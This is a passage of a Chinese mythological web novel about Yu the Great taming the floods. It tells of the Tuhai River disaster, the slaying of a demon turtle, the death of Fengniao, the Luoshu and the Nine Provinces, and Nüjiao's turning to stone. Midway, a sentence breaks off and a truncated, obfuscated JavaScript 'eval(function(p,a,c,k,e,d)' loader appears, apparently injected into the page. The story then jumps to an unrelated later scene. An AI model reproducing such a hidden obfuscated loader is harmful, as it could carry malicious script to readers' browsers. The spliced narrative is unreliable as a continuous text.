伯益继续道:“我告诉他们,我有了喜欢的姑娘了,她很善良,机敏,跑起来像风一样快,还……很喜欢我。” 凤鸟红了脸,打断他:“下游的滩涂还没查看呢!”伯益笑意更深:“事要一桩桩做,话也得先说清楚。我还说,等漯水治平了,我便去你家正式提亲。” 然而,天威难测。就在禹率领测绘队深入一段河道狭窄、水流尤其湍急的河段时——此地后世被称为“徒骇河”之处——变故陡生。 天空骤然阴沉如夜,狂风卷起沙石,撕裂旌旗。蒲牢吹响的海螺号角声在狂风中显得急促而凄厉。紧接着,瓢泼暴雨倾泻而下,天地间只剩下白茫茫的水幕和震耳欲聋的雷声。更可怕的是,黄河上游的洪峰受暴雨加持,如万马奔腾般汹涌而下,浑浊的河水裹挟着巨树和房屋残骸,直扑尚未经过疏浚、异常脆弱的漯水河口。 测绘现场立时陷入险境。禹迅速收起展开的河图与《鲧工记》简册,将伏羲玉简紧握在手,感应着天地气机的剧变,他站在湿滑的岩石上,声嘶力竭地大吼:“快收测绳!撤!所有人!立刻撤往高地!” 岳盾立刻指挥岳卫锐士行动。鸣镝连续射出响箭,尖啸声穿透风雨,为混乱中的人群指引安全方向。泽虎凭借其山林沼泽间练就的敏捷,在湿滑的河岸岩石间跳跃,帮助搀扶摔倒的同伴。羲青则在大雨滂沱中,奋力护住她的墨玉星盘和正在标注的草图。 但洪水来得太快太猛!数个如山巨浪咆哮着冲入狭窄的河道,水位瞬间暴涨,浪头狠狠拍击着两岸! 正在河边操作的四名岳卫锐士和三名当地向导首当其冲。力士犀渠眼见一道浊浪裹挟着断木扑面而来,他暴喝一声,奋力将身边正在记录水标的年轻羌笛推向后方岩壁,自己却被那断木狠狠撞入激流,瞬间没了踪影。另一边,雍钺正与姜石合力回收测绳,脚下被洪水掏空的岩石骤然崩塌,他试图拉住失足的姜石,两人却一同被翻滚的浊浪吞噬。那些熟悉水情、负责指引安全路线的当地向导,也在试图抢救珍贵的测量器具时,被瞬间蔓延的洪水围困、冲散。 混乱中,岳盾引领着土根、黑石等人向高处突围。哑巴猛地将身边的泽虎推向更高处的岩缝,自己却被浪头边缘扫中,呛了几口泥水,被坚刃一把拉住。石牛怒吼着用肩膀生生撞开一根冲来的浮木,救下了差点被撞到的木鹞。 风雨渐歇,河道一片狼藉。幸存者们聚集在高地上,惊魂未定,哀痛弥漫。岳盾面色铁青,逐一清点着伤亡人数——他带上岸的锐士,折损了犀渠、雍钺等数名好儿郎,还有那几位尽心尽力的向导。泽虎看着依旧咆哮的浑浊河水,脸上也只剩下了劫后余生的茫然与对逝去同伴的悲恸。 接下来的两天,众人沿着下游河岸苦苦搜寻,也未找到犀渠、雍钺和三名向导的遗体。禹下令,在他们遇难处的高地上,为这些牺牲的锐士和向导立下衣冠冢。 篝火旁,幸存的队伍沉默肃立。禹站在坟冢前,脸色苍白,悲痛与自责如同眼前的河水般淹没了他。他沉痛开口,声音沙哑却清晰地传入每个人耳中:“今日之失,罪在吾身。我过于依赖旧图与推算,轻视了天象骤变之威,未能及时察觉潜藏之险,致使犀渠、雍钺等忠勇之士,以及为我们引路的乡亲,殁于洪水……他们非死于水,乃死于我谋划不周之过!”他目光扫过每一张悲伤或疲惫的脸,“此段河道,险恶如斯,令我等徒众惊骇万分,当名为‘徒骇河’!此名,非仅志今日之痛,更要我等日后行事,常怀敬畏,永示警醒!” “徒骇河”之名,由此而来,烙印着鲜血与教训,也铭刻着领袖的担当与哀思。 挑战接踵而至。疏通刻不容缓,但徒骇河的悲剧让众人心有余悸,复杂水情下的精确规划更是难题。 一夜,禹独坐河畔高地,对着星月黯淡的夜空和脚下汹涌的漯水苦思,羲青与皋陶默默陪在一旁。 忽见河心波光汇聚,水汽氤氲成虹。一位身着水色绡衣、容颜清丽却带着威严的女神凌波而至,周身环绕着温和而强大的水灵之力。正是九河女神。 “禹,”女神开口,声音清泠如泉水击石,“汝平水土之志,上感于天。然水脉无常,非仅恃勇力可驯。今赠汝‘水玉简’,此简乃水精所化,可随水势涨落伸缩,能量天地之高下,测水流之缓急、深浅、浊清,助你规划河道,避害趋利,事半功倍。” 禹肃然起身,恭敬拜谢:“禹,代天下苍生,谢过女神恩赐!” 女神颔首,化作一道流光融入河水消失。 一旁的羲青目瞪口呆。半?,才回过神来,凑到禹的面前,盯着禹掌心的水玉简反复打量:“此简…… 竟能测水流之缓急、深浅、浊清?若用它补全《水经》水文注,再无错漏!” 皋陶则缓缓捻着须,目光从玉简移向远处工地的轮廓,眉峰微蹙:“有此神器,河道规划必快数倍。只是工期提速后,工徒分工、物料调度的律法细则,需提前修订,免得乱了秩序。” 禹将水玉简置于掌心,只见其晶莹剔透,内里仿佛有水流脉动,与伏羲所赠那蕴含天地至理、大道规则的玉简截然不同。水玉简更侧重于实际的水文测量和工程应用,是实践的利器;而伏羲玉简则更偏向于宏观的山川地理架构和天地法则的推演。禹令羲青以水玉简结合她的墨玉星盘进行测量校准,果然精准无比,迅速制定了更为高效安全的分流方案。 工程推进至中游险峻的“鬼愁湾”时,遭遇诡异阻碍。水下似有巨物作祟,不仅破坏新筑的堤基,更在夜间拖拽巡逻的兵士,人心惶惶。 伯益请命探查,他派遣五小龙中的墨琛潜入深湾。墨琛化作一道黑影没入浑浊的水中。良久,才挣扎着回到岸边,已化为人形——一位黑衣少女,脸色苍白,肩头一道深可见骨的伤口泛着诡异的黑气,气息微弱。 一直在营地协助巫盼(仍在修养)照料伤员的辛夷第一时间赶来。她冷静地检查伤口,嗅到一股腐蚀性的腥臭,秀眉微蹙:“是水毒,混合着极强的怨念。”她迅速取出草药捣碎,混合特制的解毒药膏,小心翼翼地为墨琛清理敷药。药膏带来的清凉暂时压制了火辣辣的疼痛,墨琛紧闭的眼睫微微颤动。 羲青与墨琛向来感情深厚,一听到消息,立刻赶来。紧接着,金麟也带着其他几条龙匆匆赶到,他冲入墨琛帐中,看着墨琛苍白的脸,那急切、焦虑甚至带着一丝恐慌的神情,远远超出了普通同伴的关切,让羲青察觉到了异常。金麟紧咬着牙,抓起墨琛的手,哑声问辛夷:“她……她怎么样?” 禹闻讯,亲自前往鬼愁湾查看。他带了伯益、羲青、岳盾及鸣镝、坚刃等数名精锐岳卫同行,以应对不测。 众人隐蔽在岸边的怪石后,但见湾内水流湍急,漩涡暗藏,水色深黑,散发着令人窒息的腥臭与不祥。禹手中的颛顼玄圭传来并非以往那种充满生命律动的絮语,而是一片混乱、痛苦、充满毁灭欲望的狂啸,几乎令他心神动摇。突然,水面轰然炸开,一头巨物浮现——正是那妖鼋!其体型庞大如小山,本该象征长寿与智慧的龟甲,此刻布满纵横交错的裂纹,裂纹中不断渗出黑红色的污秽之气,仿佛无法愈合的脓疮。它的双目赤红如血,但那红光深处,并非纯粹的疯狂,更夹杂着一种深可见骨的疲惫与绝望。 “为何……还不放过我……”妖鼋发出低沉而嘶哑的咆哮,声音仿佛来自九幽,带着无尽的怨怼与悲鸣,“家园……毁了……子孙……死了……连这最后的容身之处……你们也要夺走?共工……大神……赐我痛苦……也赐我毁灭的力量……杀……杀……” 禹上前一步,将颛顼玄圭举在身前,玄圭微光流转,试图将其混乱的意念转化为可理解的讯息。他朗声道,声音沉稳,试图穿透那层狂暴:“古老的灵鼋!我乃平水土之禹!我聆听到你的痛苦,非为夺你容身之所,乃为疏导水流,平息祸患,让生灵得以安息!放下这毁灭之念,我可助你寻得新生!” “新生?”妖鼋发出一阵令人毛骨悚然的惨笑,声浪震得水面沸腾,“我的灵髓早已被怨恨浸透,我的神魂与这共工的残怨纠缠百年,早已不分彼此!这痛苦……这空虚……如同附骨之疽!我想死……却连自我了断都做不到!这力量在维持着我的痛苦,逼我不断杀戮!你能消除我这百年的记忆吗?你能让我死去的子孙复活吗?你不能!你什么也做不到!唯有毁灭……唯有让一切都感受我的痛苦!”它承认了被共工残魂腐蚀的事实,但这腐蚀已与它因家园被毁、亲人丧尽而产生的巨大痛苦和绝望完全融合。它并非沉溺复仇,而是心如死灰,且被共工的残怨之力禁锢在这永恒的痛苦循环中,求死不能。 颛顼玄圭能沟通其意,聆听其悲,却无法化解这已与灵魂彻底熔铸的千年怨毒。 禹面色凝重地退回营地,立刻召集伯益、皋陶、羲青、砺、岳盾以及伤势稍愈的巫盼等核心成员商议。 皋陶首先开口:“此獠心神已彻底被怨毒占据,且其身已成共工残念肆虐的巢穴,危害日甚。依律,当断然铲除,以绝后患。” 巫盼强撑病体,进行了一次简短的卜筮,又仔细感受了空气中那令人窒息的怨念,他缓缓摇头,声音虚弱却带着深深的悲悯:“其魂已与怨毒同化,如同病入膏肓,药石无灵。净化……已无可能。它本身,亦在祈求永恒的安眠,只是那邪力连这最后的解脱都剥夺了。” 禹闭目片刻,通过玄圭,他仿佛更能体会到妖鼋那无边无际的痛苦与渴望解脱的意念。再睁开眼时,他目光中已无犹豫,只有一种沉重的决断与执行必要之事的肃穆:“我明白了。我必须终结其永恒的痛苦,还此地水脉以清明,予其……真正的安息。” 他随即开始部署详细的计划。 决战之日,阴风怒号,鬼愁湾上空乌云低压,水色如墨。 在行动前的最后一次商议中,伯益提出了一个基于他通晓万物习性智慧的关键构想:“那妖鼋虽被怨毒侵蚀,但其根本,仍是此地水脉滋养千年的灵物。共工的残念如同荆棘缠绕其心,但或许……其灵魂深处仍存有一丝对故土宁静气息的记忆。若能唤醒此念,哪怕只有一瞬,使其自身灵性与那怨念产生刹那的剥离,便是我们的机会。” 他继而阐述:“我曾观察,古老的水族灵物,其性喜净、趋宁。可采集新绽的合欢花、带着晨露的艾蒿,以及尤为重要的——沉水柏的根芯。合欢花清郁,艾蒿宁神,而沉水柏生于水底深处,木质却含奇香,其性沉静,能定神魂。将此三者混合,以文火慢燃,其烟霭清香冷冽,或可模拟出它记忆中‘家园’未被污染时的气息。” 巫盼斜倚在榻,闻言后沉思片刻,缓缓开口:“虞官所言,暗合古理。我曾听族中耆老说过,上古有水祭之乐,非为娱神,而在协律水文,安澜定波,其名《安魂引》,实为模仿天地间风水相激、终归于静的天然韵律。其调式……”他闭上眼,似乎在回忆,“……应以长音起,仿风声过隙;继而回旋,似水波盘桓;终以沉凝之韵收束,如大地承载万物。若能奏响此律,或能与香料相辅相成,直指其灵性本源。” 这时,众人的目光落在了凤鸟身上。她不仅是传令员,更以其超凡的记忆力和模仿能力闻名,能精准复述复杂的口信乃至自然万籁。 伯益看向她:“凤鸟,巫盼已指明调式精髓,你可否据此,结合你听过的风声、水声、大地宁静时的脉动,创出一段足以安抚灵性的韵律?” 这是一个艰巨的任务。凤鸟凝神回想,将记忆中无数个清晨掠过芦苇荡的风声、月下漯水轻柔的波涛声、雨后大地深沉的呼吸声……所有这些属于“宁静”的声音片段提炼、融合。她低声试了几个音调,不断调整着节奏与长短。 片刻后,一段古朴、悠远而充满自然韵律的调子从她唇间流淌而出。虽非原版的《安魂引》,却已然抓住了巫盼所描述的那种“协律水文,安澜定波”的神韵。 “就是这样!”巫盼眼中闪过一丝赞许,“此韵已得古意,足以触动心魂。” 于是,计划就此定下。伯益与凤鸟携带配制好的香料,登上了鬼愁湾上风处的岸边高地。 当五小龙与妖鼋的激战撼动水面时,高地上的仪式开始了。凤鸟清越而悠远地吟唱起她刚刚创编的调子,这声音穿透狂风的喧嚣: “风兮自壑,水兮归渊; 土兮其厚,魂兮可安? 星沉波定,露凝石眠; 归兮归兮,返彼自然。” 与此同时,伯益将香草投入大陶炉。一缕清冷的烟霭袅袅升起,带着合欢花的清郁、艾蒿的宁神以及沉水柏根芯那独特的、仿佛来自水底深渊的沉静气息,随风飘向妖鼋。 那妖鼋正挥爪扫向赤须龙,鼻翼却猛地抽动了一下,赤红双目中的疯狂似乎出现了一丝极其短暂的凝滞。凤鸟融合自然之音的吟唱与伯益的香草气息,如同投入狂怒深渊的一颗石子,虽小,却真切地触动了它被痛苦掩埋的深层记忆。 然而,这短暂的清醒带来的并非平静,而是更剧烈的内在冲突。共工的残念感受到宿主灵性的挣扎,如同被侵犯领地的毒蛇,立刻以更凶猛的反扑来巩固控制。妖鼋发出一声混杂着痛苦与暴怒的嘶嚎,攻击变得更加狂乱无章,但它的注意力,确实被高地之上的仪式吸引了——那歌声与香气,成了它混乱意识中唯一清晰的、既渴望又憎恶的坐标! 这正是战术所需的效果,却也将伯益与凤鸟置于最危险的焦点。 龙族依计划加强攻势,试图将这混乱转化为致命一击的契机。然而,意外发生了。妖鼋在硬抗了赤须龙一记爪击后,竟不顾暴露颈侧要害,庞大的身躯猛地向高地方向半转,一道混合着腐蚀黑气的恐怖水箭,直扑仍在吟唱、维系着《安魂引》韵律的凤鸟! 一切都发生得太快。伯益见状,肝胆俱裂,毫不犹豫地猛扑过去想将凤鸟推开。“小心——!” 但他的动作还是慢了半分。凤鸟在伯益的撞击下向侧后方跌倒,避开了水箭的直接冲击,那腐蚀性的黑气却如跗骨之蛆般扫过了她的左腿和半边身体。她发出一声短促的痛呼,整个人被那巨大的冲击力带得向后飞跌,直接坠向下方陡峭的河岸! “凤鸟——!”伯益的嘶吼声撕心裂肺。 幸得在附近岩壁伺机而动的飞猿反应神速,他如一道灰色闪电般荡下,在凤鸟即将砸入汹涌的浊浪前一刻,险险抓住了她的手臂,借力将她甩向相对安全的浅滩。但凤鸟已然重伤昏迷,左腿至腰腹间一片焦黑,气息微弱。 这突如其来的变故,让所有人心头一紧,尤其是伯益,几乎要不顾一切冲下高地。 然而,凤鸟的牺牲并非徒劳。 正是她与伯益的仪式,迫使妖鼋在极度狂躁中做出了非常规的、指向明确的攻击动作——为了攻击高地,它那布满裂纹的脖颈,在转身喷射水箭的瞬间,以一种极其别扭且毫无防护的姿态,最大限度地暴露在了早已蓄势待发的禹面前! 那一道深可见骨、不断涌出黑气的原始裂痕,如同命运标注的靶心。 没有片刻犹豫! 禹暴喝而起,周身神力澎湃,伏羲开山斧绽放出前所未有的璀璨光华,那光芒并非纯粹的毁灭,更带着一种梳理混乱、划定乾坤的秩序之力。他抓住这妖鼋因分神攻击而创造的、稍纵即逝的绝佳时机,将全身力量与意志贯注于斧刃,沿着那道裂纹,猛然劈下! “噗嗤——!” 一声沉闷而决绝的巨响!大量浓郁如墨的黑气自断裂处疯狂涌出,发出凄厉的尖啸,随即在开山斧的神光与龙族的力量交织下逐渐消散。妖鼋那庞大的身躯剧烈颤抖了一下,赤红的双眼中,疯狂之色迅速褪去,竟流露出一种漫长折磨终于结束的、近乎解脱的平静,随即缓缓沉入水中。 禹立于岸边,望着恢复平静但依旧深邃的湾水,脸上并无喜悦。他回首望向高地,看到伯益正抱着昏迷的凤鸟,嘶声呼唤着巫盼和辛夷。此战虽胜,代价却如此沉重。他深知,凤鸟的勇敢与坚持,不仅是战术成功的关键,更是以自身为饵,为这最终的解脱铺平了道路。这并非胜利,而是用牺牲换来的、对一段无法挽回之悲剧的终结。 魔障既除,后续工程得以推进。徒骇河段被精心修筑,漯水全线贯通,与济水共同构成黄河下游分洪网络。而“朱河”之名,或许并非源于血染,而是象征着那段曾浸染此地的深沉悲剧与最终以血终结的宿命。 漯水功成,营地却未能迎来片刻欢欣,胜利的喜悦被更深的阴霾笼罩。凤鸟被救回后一直昏迷不醒,她左腿至腰腹间被妖鼋黑气侵蚀的伤口非但没有愈合,反而不断蔓延、溃烂,散发出不祥的死气。巫盼与辛夷用尽了所有已知的草药与巫术,那萦绕伤口的共工残怨却如同最顽固的诅咒,顽强地吞噬着少女残存的生机。 伯益寸步不离地守在她榻前,紧握着她逐渐冰凉的手,试图传递自己的心念,却只感受到一片虚无与不断消散的暖意。他往日睿智沉静的眼眸,此刻只剩下深不见底的痛苦与无力。 几日后一个黎明,巫盼最后一次将手从凤鸟腕间抬起,他面色灰败,对着充满希冀又恐惧的伯益,以及闻讯赶来的禹和几位核心成员,沉重地摇了摇头,声音干涩:“怨毒已深入骨髓,侵蚀心脉……非药石、巫力所能及。我……回天乏术了。” 帐内一片死寂。伯益的身体晃了晃,仿佛最后支撑他的东西也被抽走了。 仿佛感应到诀别的时刻,凤鸟竟悠悠转醒。她的眼神已有些涣散,却努力聚焦在伯益悲痛欲绝的脸上。她极其微弱地动了动被他握住的手指,唇边试图漾开一个一如往常、带着些许倔强的浅笑。 “伯益……”她的声音轻得像一阵即将散去的风,“别……难过。能与你……走过这一程……我,不悔……” 她的目光缓缓扫过禹、巫盼,带着未尽之言,最终重新定格在伯益脸上,充满了无尽的眷恋与不舍。 “只是……不能再……陪你……测量……山河了……” 话音渐低,最终悄然断绝。她眼中的光彩如风中残烛般熄灭,手也彻底垂落。 “凤鸟——!”伯益猛地将她尚有余温的身体紧紧拥入怀中,仿佛这样就能阻止她的离去。他宽阔的肩膀剧烈地颤抖着,泪如雨下。 帐外,岳盾猛地转过身,面向所有肃立的锐士与子弟。他没有说话,只是缓缓抬起右拳,重重叩击在自己的左胸心脏位置——这是岳卫对牺牲战友最崇高的敬礼与最沉痛的告别。下一刻,所有锐士,包括鸣镝、山魈、土根、飞猿、泽虎……乃至羌笛、姜石等雍梁子弟,全都默然无声地做出了同样的动作,传递着无声的哀恸。 禹站在帐内,听着外面那一片死寂却重若千钧的叩击声,深深垂下头,感到一阵刺骨的无力与自责。他平治了水土,疏导了河川,却无法挽留一个如此年轻、鲜活的生命在自己眼前逝去。 整个营地都沉浸在巨大的悲恸之中。而在这无边哀伤的映衬下,砺与羲青之间,一种更为复杂、急迫的情感也在悄然滋生。死亡如此真切地迫近,让他们再也无法等待所谓的恰当时机。 在那个月色惨淡的夜晚,砺走进羲青的营帐。他没有说话,只是伸出手,紧紧握住了她冰凉微颤的手指。 羲青抬起眼,望见他眼中与自己同样的、对命运无常的恐惧,以及对生命联结最原始的渴望。没有仪式,没有贺词,两个人的身体炽热交缠,带着一丝绝望,仿佛要将对方镌刻进自己的骨血里。 当激情平息,砺将羲青紧紧搂在怀中。他感受到她身体某一瞬间的僵硬,知道她想起了那无法孕育的蓇蓉草。 “无妨,”他的声音低沉而斩钉截铁,如同在神前立誓,“天地共鉴,我砺此生,唯羲青一人。有无子嗣,皆不足惜。你在,便是我的归处。” 帐外,夜风呜咽,仿佛也在为逝去的生命哀歌,又仿佛在见证着,于绝望的废墟之中,生命与爱意依然挣扎着,破土而出。 夜深人静,营地的篝火渐次熄灭,唯有巡夜者的脚步声规律地响起。白日里治水宏图的筹划、人员伤亡的痛惜、千头万绪的公务,如同潮水般暂时退去,留下了一片空旷的、只属于禹自己的内心沙岸。 在这片寂静中,对妻儿女娇与幼子启的思念,便如月夜下的潮汐,不受控制地汹涌而来,瞬间淹没了他的心防。他是一个正当盛年的男子,血脉中奔流着炽热的情感,却已记不清有多少个寒暑,未曾触摸过妻子温热的肌肤,未曾听闻过儿子稚嫩的呼唤。 他躺在简陋的营榻上,闭上眼,努力在脑海中勾勒女娇的容颜。记忆却像被水汽氤氲过的玉简,有些模糊了。他只记得她眼眸如星,笑起来时,颊边有浅浅的涡,具体的光影轮廓却难以捕捉。他只记得她身上带着草木的清芬,声音如同林间的清泉,但具体的语调似乎也消散在风里了。这种记忆的磨损让他感到一阵恐慌和深切的悲哀,仿佛最珍贵的宝物正在时光与距离的冲刷下悄然流失。 而对儿子启,那份思念更是夹杂着难以言喻的愧疚。上一次他经过家门时,启尚在襁褓,如今怕是早已会跑会跳,会咿呀学语了吧?他错过了儿子生命中最初的、也是最宝贵的成长时光。他甚至无法想象启如今的模样,只能在脑海中凭借女娇的容貌和自己的轮廓,拼凑出一个模糊的、属于父亲的想象。这份父爱,因缺席而显得如此抽象而沉重。 身体的孤寂与情感的渴求,在寂静的深夜尤为尖锐。他是一个活生生的、有血有肉的人,有着最本能的欲念与最柔软的心肠。然而,他是禹,是受命于天、承载万民期望的平水土者。这份对家小的思念与情欲,如同深水下的暗流,汹涌澎湃,却不能被带到水面之上。 他只能将这一切——那模糊的容颜、那想象中的童音、那身体深处涌动的热流——化作一声沉沉的叹息,压抑在胸腔深处。他翻过身,将脸埋进带着汗味与尘土气息的粗麻被褥中,仿佛借此能隔绝那无孔不入的思念。这份刻骨的牵挂与无法履行的丈夫、父亲之责,最终都化为了肩上更沉重的责任感——必须早日平息水患,让千家万户得以团圆,也让他自己,能够早日归去,去拥抱那份几乎快要遗失的温暖。 次日黎明,当第一缕曙光照亮营地时,禹已然起身,他的面容恢复了一贯的沉毅与冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一股滚烫的热流猛地冲上禹的咽喉,鼻尖一酸,眼眶瞬间湿润。七年的风餐露宿,七年的生死考验,无数个不眠之夜对妻儿的思念,在这一刻仿佛都有了最具体、最柔软的寄托。他几乎能想象出孩子扑入自己怀中的温热,能闻到妻子发间熟悉的气息。脚步不由自主地放缓,他甚至产生了一种强烈的冲动,想要脱离队伍,冲过去将儿子高高举起,将妻子紧紧拥入怀中,哪怕只有片刻的温存。 但,他的脚步只是顿了顿。耳边仿佛响起了洛水沿岸百姓的期盼呜咽,眼前浮现出伯益简报中关于伊洛水情的描述,肩上沉甸甸的,是天下未定的重任与舜帝的嘱托……他强迫自己从那温馨的画面中移开视线。他用尽全身力气,猛地转过身,背对家园,声音因极力压抑而显得异常沙哑嘶吼,对身后有些疑惑的队伍下令:“加速前进!务必在封冻前抵达洛水!” 他甚至没有勇气再走近一步,只是在那转身的瞬间,贪婪地、深深地将那院中的景象刻入心底,然后毅然决然地迈步,不曾回头。夕阳将他的影子拉得很长很长,投在冰冷的山路上,显得无比孤独而坚定。 是夜,队伍在嵩山以南数十里外扎营。极度疲惫的禹沉沉睡去。梦中,他终于回到了那个小院,女娇微笑着向他走来,眼中含着晶莹的泪光,却没有丝毫责备,他们紧紧相拥,深情亲吻,启在一旁咯咯笑着……然而,这仅仅是梦。醒来时,帐篷缝隙中漏下的,唯有中岳嵩山险峻山影上,那一片冰冷的、沉默的月光。他知道,洛水在召唤,更大的使命,就在前方。 抵达洛水,禹发现因龙门山开辟及黄河干流疏导,洛水入黄的压力已大减。工程重点在于梳理伊、洛等支流,使其顺畅归黄,避免交汇处淤积。工程进展相对顺利。 一日,勘察洛水与黄河交汇处时,河心突现异象,波涛涌起,霞光氤氲。一只巨大的玄龟浮出水面,龟甲之上,天然生有奇异图纹,黑白斑点交错,依循玄妙韵律闪烁。 “洛书!”羲青惊呼,即刻抽出随身携带的刻刀,在兽骨上开始摹画。 禹凝神观之,心中豁然开朗。那黑白斑点分布,暗合天地至理:戴九履一,左三右七,二四为肩,六八为足,五居中央。黑白象征阴阳,数字对应五行方位。 “天地法度,阴阳五行!”禹慨叹,“此图昭示万物生克之理!北方一白,阳气初生却隐于寒湿,故水患最深,必先疏导(冀、兖);东方三白,木性生发,需水润泽,次之(青、徐);南方九白,纯阳炽热,需二黑(火生土之阴)调和(扬、荆);西方七白,金性肃杀,需六黑(金生水)润泽(梁、雍);中央五白,厚德载物,统御四方(豫)。此非独治水之序,更是划分疆域、管理天下之道!” 他当即依据洛书启示,结合多年遍历勘察,将天下系统地划分为冀、兖、青、徐、扬、荆、豫、梁、雍九州。每州界定疆域、山川、土质、赋税、贡品及贡道。伯益详实记录,凤鸟则快速地将初步方案抄录分送各部首领会阅。这已不仅是治水,更是奠定华夏文明万世基业的“鼎定九州”!鼎定九州,不仅是地理划分,更是文明秩序的奠基。一个由洪水混沌走向山川定位、物产分明、赋税有度、道路通畅的时代,正在他们手中艰难而坚定地开创。前路漫漫,吉凶未卜,但希望之光,已穿透迷雾,照亮前路。 洛水主干疏导顺利,但工程推进至伊水与洛水交汇的关键区域——轘辕山一带时,遇到了前所未有的阻碍。禹与羲青以星盘、玉简反复勘测,发现此段山体核心,竟是一处上古遗留的“地脉结节”。共工溃散的怨念、紊乱的水灵,以及最为坚固的山岩地气,在此处已扭曲纠缠为一体,形成了一个近乎无解的“死结”。 禹首先尝试动用伏羲开山神斧。神斧光华闪耀,一击之下,虽能崩裂表层巨石,但斧刃蕴含的“开辟”法则,竟被那结节深处更古老的“凝固”意志层层抵消。更令他心惊的是,每一次斧击,都引得整个伊洛水系乃至更远处的地脉隐隐震颤,仿佛强行破开这“结节”,会导致区域性山崩地裂,后果不堪设想。 “不行,” 禹收起神斧,面色前所未有的凝重,“开山斧之力在于‘斩断’,可斩有形之阻,却难断这无形之‘结’。强行为之,恐引地脉崩摧,非但不能治水,反酿巨灾。” 伯益沉吟道:“可否用神农石耜引动地火,徐徐灼烧,化此坚岩?” 禹摇头,眼中尽是忧虑:“石耜所引,乃地心阳火,其性至阳至烈,暴烈难控。此地水脉与怨念交织,如同浸透油脂的乱麻。若引地火,稍有不慎,火势便会顺着水灵怨力蔓延,非但不能疏通,反而可能引爆结节,或将整片山川化为焦土火海,其害更甚于水!” 一时间,似乎所有手段都已失效。 “人力与圣器皆有穷时,唯有求助于更本源的力量了。” 禹肃然举起了颛顼玄圭。他凝聚心神,将轘辕山结节之困、诸般尝试与潜在风险,化为清晰的意念,通过玄圭传向高天厚土,寻求启示。 数个日夜后,风云涌动,金麟携一道威严的龙形神念归来——正是应龙。 “禹,汝之所遇,吾已知晓。” 应龙的神念之音通过玄圭在众人心中震响,“此‘地脉结节’,乃天地戾气所钟,非斧凿火攻可解。开山斧利在‘破’,石耜火在‘焚’,皆是以刚克刚,必遭反噬。欲解此局,需行‘疏导’之法,以更为磅礴厚重、同源相济之力,缓缓将其‘撑开’、‘化开’。” 神念微顿,一道蕴含着浑厚土德神辉的光团落下。“吾暂借汝一缕‘戊土神髓’,此乃大地母神孕育山川之根本源力。凭此,汝可暂化开山熊罴法相。熊罴者,非杀戮之兽,乃大地之力的显化之一,其性厚德载物,其力可沟通地脉。汝需以此身,融入山岳,非以力破,而以神导,将纠缠之力缓缓梳理,如同巨树根系温柔而坚定地分开板结之土。此乃唯一不伤地脉根本之法。” 戊土神髓入体,禹顿感自身与脚下大地血脉相连,一股深沉、包容、仿佛能承载万物的力量在体内苏醒。他立刻清场,只留核心成员策应。 随后,他引动神髓。温暖厚重的土黄色神光笼罩全身,他的身形在光芒中化为一头如山岳般庞大、皮毛闪烁着岩石光泽、目光沉静而充满力量的巨熊法相。他不再“攻击”山体,而是将巨大的熊掌贴合岩壁,戊土神髓的力量如同水银泻地,渗入地脉结节。他以身为桥,引导着大地的力量,将那顽固的“死结”一点点、一寸寸地温柔“撑开”。山石在他神力的引导下,仿佛拥有了生命,沿着固有的纹理自然、平稳地分离。过程看似缓慢,却是在从根本上解决问题。 然而,就在这至关重要的时刻,一场意想不到的悲剧正在逼近。 远在阳城的女娇,近日常感心神不宁。前几日,更有传言称“司空在轘辕山遇阻,工程艰险,似有神异……”。言语不详,却足以在她心中点燃无尽的担忧。对丈夫的思念、对传闻的不安,混合着母性的直觉,让她做出了一个大胆的决定:她要亲自去轘辕山看看禹!她要将亲手缝制的新衣交给他,要亲眼确认他的平安! 她将三岁的启紧紧裹在怀中,由几位熟知路径的族人护送,冒着秋寒,一路跋涉,绕过官方设置的营地与岗哨,想给禹一个惊喜。她们沿着山间小径,竟阴差阳错地直接走到了轘辕山施工核心区域的外围! 于是,那最残酷的一幕撞入了她的眼帘:一头从未见过的恐怖巨兽,正以其庞大的身躯“碾压”、“撕裂”着山体!她看不到那浑厚的戊土神光,感受不到那温柔的疏导之力,映入眼中的只有巨兽的形态和山崩石裂的景象。 “禹……你在哪……?” 她下意识地喃喃,巨大的惊骇与误解瞬间淹没了她。她以为禹已遭遇不测,而这巨兽正在破坏他未竟的事业。极度的恐惧与守护孩子的本能,在她体内涂山氏血脉中引发了不可思议的共鸣——她要保护孩子,也要守住这山,守住禹的心血! 在她一声凄厉决绝的呼喊中,她的身躯从接触大地的双足开始,迅速石化,化作一尊永远保持护子姿态、面向山体的冰冷雕像。 神力的运转因这突如其来的极致悲恸而骤然中断。戊土神辉消散,禹恢复人形,回头看到的,正是那尊让他魂飞魄散的石化妻子。 禹捧住了妻子那已化为冰冷岩石的脸颊。 “女娇…怎么会…不…不可能!” 他的声音因极致的恐惧而扭曲,指尖在那粗糙冰冷的石面上疯狂地摩挲,仿佛想用自己的体温驱散这可怕的诅咒,唤醒沉睡的爱人。“醒过来!看着我!女娇!” 他猛地想起颛顼玄圭,急忙将其贴在石像心口,试图以沟通万灵之力,捕捉妻子哪怕一丝残存的意念。“玄圭!回应我!告诉我她在哪里!” 然而,玄圭传来的,只有一片死寂,如同这石像本身,再无任何生命的涟漪。 绝望如同冰水浇头。他不甘心地运转体内残存的那缕戊土神髓,将温和厚重的大地之力缓缓渡入石像,希冀这创造山川的力量能逆转这可怕的石化。“回来…把我的女娇还给我…” 他低声哀求着,神力如同泥牛入海,石像依旧冰冷,毫无反应。 所有的尝试都宣告无效。巨大的无力感几乎将他压垮。他双膝一软,跪倒在石像前,额头抵着妻子冰冷的石膝,肩膀因压抑的哭泣而剧烈耸动。也正是在这极致的悲痛与绝望中,一个念头如同闪电般划过他混乱的脑海——孩子!他们的孩子还在石像怀中! 他猛地抬起头,布满血丝的双眼死死盯住那紧紧蜷缩的石臂,声音从方才哀求的卑微,转为一种混杂着父爱、绝望与最后希望的嘶哑呐喊: “归我子!女娇……把孩子还给我!石破……归我子!” 仿佛是听到了他泣血的呼唤,又或是女娇在彻底石化前,将最后所有的意志与母爱都倾注于保护孩子的执念之中,那紧紧环抱的石臂,竟真的发出细微的、令人心碎的“咔嚓”声,以一种缓慢而坚定的姿态,缓缓松开了那道生命的缝隙。 三岁的启蜷缩在石质的怀抱里,小脸上满是泪痕,显然受惊不轻,却奇迹般地安然无恙。禹几乎是扑过去,用颤抖的双臂将失而复得的儿子紧紧、紧紧地搂在怀里。孩子的体温和柔软的触感,与他脸颊旁冰冷的岩石形成了残酷的对比。 